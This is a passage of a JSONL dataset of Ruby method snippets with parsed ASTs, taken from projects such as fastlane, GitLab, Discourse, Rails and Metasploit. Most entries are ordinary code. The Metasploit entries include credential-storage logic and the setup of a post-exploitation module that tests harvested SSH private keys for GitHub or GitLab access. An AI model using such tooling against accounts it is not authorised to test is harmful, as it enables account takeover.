"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jtr_format\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"378980e4-30c1-402e-a254-d98be1e9ad56"} {"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/commands_generator.rb","start_line":25,"raw_source":"def run\n program :name, 'gym'\n program :version, Fastlane::VERSION\n program :description, Gym::DESCRIPTION\n program :help, \"Author\", \"Felix Krause \"\n program :help, \"Website\", \"https://fastlane.tools\"\n program :help, \"Documentation\", \"https://docs.fastlane.tools/actions/gym/\"\n program :help_formatter, FastlaneCore::HelpFormatter\n\n global_option(\"--verbose\") { FastlaneCore::Globals.verbose = true }\n\n command :build do |c|\n c.syntax = \"fastlane gym\"\n c.description = \"Build your iOS/macOS app\"\n\n FastlaneCore::CommanderGenerator.new.generate(Gym::Options.available_options, command: c)\n\n c.action do |_args, options|\n config = FastlaneCore::Configuration.create(Gym::Options.available_options,\n convert_options(options))\n Gym::Manager.new.work(config)\n end\n end\n\n command :init do |c|\n c.syntax = \"fastlane gym init\"\n c.description = \"Creates a new Gymfile for you\"\n c.action do |args, options|\n containing = FastlaneCore::Helper.fastlane_enabled_folder_path\n path = File.join(containing, Gym.gymfile_name)\n UI.user_error!(\"Gymfile already exists\") if File.exist?(path)\n\n is_swift_fastfile = args.include?(\"swift\")\n if is_swift_fastfile\n path = File.join(containing, Gym.gymfile_name + \".swift\")\n UI.user_error!(\"Gymfile.swift already exists\") if File.exist?(path)\n end\n\n if is_swift_fastfile\n template = File.read(\"#{Gym::ROOT}/lib/assets/GymfileTemplate.swift\")\n else\n template = File.read(\"#{Gym::ROOT}/lib/assets/GymfileTemplate\")\n end\n\n File.write(path, template)\n UI.success(\"Successfully created '#{path}'. Open the file using a code editor.\")\n end\n end\n\n default_command(:build)\n\n run!\n end","complexity_score":76.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"gym\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"DESCRIPTION\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Felix Krause \"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Website\"]},{\"type\":\"str\",\"children\":[\"https://fastlane.tools\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"str\",\"children\":[\"Documentation\"]},{\"type\":\"str\",\"children\":[\"https://docs.fastlane.tools/actions/gym/\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"help_formatter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"HelpFormatter\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_option\",{\"type\":\"str\",\"children\":[\"--verbose\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose=\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"build\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane gym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Build your iOS/macOS app\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommanderGenerator\"]},\"new\"]},\"generate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},{\"type\":\"send\",\"children\":[null,\"convert_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Manager\"]},\"new\"]},\"work\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"init\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane gym init\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Creates a new Gymfile for you\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"containing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"fastlane_enabled_folder_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"containing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"gymfile_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Gymfile already exists\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"is_swift_fastfile\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"swift\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_swift_fastfile\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"containing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"gymfile_name\"]},\"+\",{\"type\":\"str\",\"children\":[\".swift\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Gymfile.swift already exists\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_swift_fastfile\"]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"ROOT\"]}]},{\"type\":\"str\",\"children\":[\"/lib/assets/GymfileTemplate.swift\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"ROOT\"]}]},{\"type\":\"str\",\"children\":[\"/lib/assets/GymfileTemplate\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully created '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'. Open the file using a code editor.\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"default_command\",{\"type\":\"sym\",\"children\":[\"build\"]}]},{\"type\":\"send\",\"children\":[null,\"run!\"]}]}]}","id":"00f5c160-1e06-4b2e-a627-27b058128c7e"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/inbox.rb","start_line":136,"raw_source":"def email?\n channel_type == 'Channel::Email'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Channel::Email\"]}]}]}","id":"e1cce1a0-00ad-40ee-ac4a-508f8abf797e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/resource_events/change_state_service_spec.rb","start_line":94,"raw_source":"def expect_event_source(event, source)\n case source\n when MergeRequest\n expect(event.source_commit).to be_nil\n expect(event.source_merge_request).to eq(source)\n when Commit\n expect(event.source_commit).to eq(source.id)\n expect(event.source_merge_request).to be_nil\n else\n expect(event.source_merge_request).to be_nil\n expect(event.source_commit).to be_nil\n end\n end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_event_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_merge_request\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"source_commit\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]}]}]}]}","id":"bad9fc35-a77f-4f4e-9d1c-eab4cea997d3"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/app/controllers/discourse_policy/policy_controller.rb","start_line":20,"raw_source":"def unaccept\n PolicyUser.remove!(current_user, @post.post_policy)\n @post.publish_change_to_clients!(:policy_change)\n\n if @post.post_policy.add_users_to_group.present?\n @post.post_policy.add_users_group.remove(current_user)\n end\n\n render json: success_json\n end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unaccept\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PolicyUser\"]},\"remove!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"publish_change_to_clients!\",{\"type\":\"sym\",\"children\":[\"policy_change\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]},\"add_users_to_group\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_policy\"]},\"add_users_group\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"96b1fb6c-af11-4a53-b400-dbfb4baefa18"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/packages/maven/metadata/create_plugins_xml_service_spec.rb","start_line":122,"raw_source":"def plugins_from(xml_content)\n doc = Nokogiri::XML(xml_content)\n doc.xpath('//metadata/plugins/plugin/artifactId').map(&:content)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"plugins_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"xml_content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//metadata/plugins/plugin/artifactId\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]}","id":"1859e6b9-e441-4664-a5bf-191efcfb3d73"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/multibyte/chars.rb","start_line":167,"raw_source":"def tidy_bytes(force = false)\n chars(Unicode.tidy_bytes(@wrapped_string, force))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tidy_bytes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"chars\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Unicode\"]},\"tidy_bytes\",{\"type\":\"ivar\",\"children\":[\"@wrapped_string\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}","id":"4323dd6d-3c94-4aa3-9751-b3d849eeacb3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/dns_helpers.rb","start_line":87,"raw_source":"def stub_resolver(stubbed_lookups = {})\n resolver = instance_double('Resolv::DNS')\n allow(resolver).to receive(:timeouts=)\n\n expect(Resolv::DNS).to receive(:open).and_yield(resolver)\n\n allow(resolver).to receive(:getresources).and_return([])\n stubbed_lookups.each do |domain, records|\n records = Array(records).map { |txt| Resolv::DNS::Resource::IN::TXT.new(txt) }\n # Append '.' to domain_name, indicating absolute FQDN\n allow(resolver).to receive(:getresources).with(\"#{domain}.\", Resolv::DNS::Resource::IN::TXT) { records }\n end\n\n resolver\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_resolver\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"stubbed_lookups\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolver\",{\"type\":\"send\",\"children\":[null,\"instance_double\",{\"type\":\"str\",\"children\":[\"Resolv::DNS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"timeouts=\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"open\"]}]},\"and_yield\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"getresources\"]}]},\"and_return\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stubbed_lookups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]},{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"records\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"Resource\"]},\"IN\"]},\"TXT\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"resolver\"]}]},\"to\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"getresources\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"Resource\"]},\"IN\"]},\"TXT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"records\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"resolver\"]}]}]}","id":"5ff797a3-d012-4f28-ad92-65d64bc28f13"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Test SSH Github Access',\n 'Description' => %q{\n This module will attempt to test remote Git access using\n (.ssh/id_* private keys). This works against GitHub and\n GitLab by default, but can easily be extended to support\n more server types.\n },\n 'License' => MSF_LICENSE,\n 'Author' => ['Wyatt Dahlenburg (@wdahlenb)'],\n 'Platform' => ['linux'],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'References' => [['URL', 'https://docs.github.com/en/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection']],\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptPath.new('KEY_FILE', [false, 'Filename of a private key.', nil]),\n OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames will be recursively found matching id_* (Ex: /home/user/.ssh)', nil]),\n OptString.new('GITSERVER', [true, 'Parameter to specify alternate Git Server (GitHub, GitLab, etc)', 'github.com'])\n ]\n )\n deregister_options(\n 'RHOST', 'RHOSTS', 'PASSWORD', 'PASS_FILE', 'BLANK_PASSWORDS', 'USER_AS_PASS', 'USERPASS_FILE', 'DB_ALL_PASS', 'DB_ALL_CREDS'\n )\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Test SSH Github Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module will attempt to test remote Git access using\\n\"]},{\"type\":\"str\",\"children\":[\" (.ssh/id_* private keys). This works against GitHub and\\n\"]},{\"type\":\"str\",\"children\":[\" GitLab by default, but can easily be extended to support\\n\"]},{\"type\":\"str\",\"children\":[\" more server types.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wyatt Dahlenburg (@wdahlenb)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.github.com/en/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEY_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Filename of a private key.\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEY_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Directory of several keys. Filenames will be recursively found matching id_* (Ex: /home/user/.ssh)\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"GITSERVER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Parameter to specify alternate Git Server (GitHub, GitLab, 